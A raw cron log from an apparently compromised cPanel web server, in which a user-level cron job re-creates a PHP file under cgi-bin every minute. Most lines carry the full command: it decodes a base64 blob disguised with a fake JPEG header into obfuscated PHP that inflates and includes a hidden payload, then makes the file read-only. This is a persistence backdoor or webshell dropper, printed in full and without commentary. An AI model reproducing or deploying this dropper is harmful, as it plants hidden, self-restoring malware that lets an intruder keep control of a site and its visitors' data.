Nov 14 14:33:01 server CROND[7854]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 14:34:01 server CROND[8750]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 14:35:01 server CROND[9708]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 14 14:35:01 server CROND[9707]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 14:35:01 server CROND[9706]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 14:35:01 server CROND[9710]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 14:35:01 server CROND[9709]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 14:36:01 server CROND[10638]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 14:37:01 server CROND[11656]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 14:38:01 server CROND[12594]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 14:39:01 server CROND[13521]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 14:39:01 server CROND[13522]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 14 14:40:01 server CROND[14460]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 14:40:01 server CROND[14461]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 14:40:01 server CROND[14463]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 14:40:01 server CROND[14464]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 14:41:01 server CROND[15463]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 14:42:01 server CROND[16430]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 14:42:01 server CROND[16431]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 14:43:01 server CROND[17309]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 14:44:01 server CROND[18209]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 14:45:01 server CROND[19086]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 14:45:01 server CROND[19087]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 14:45:01 server CROND[19088]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
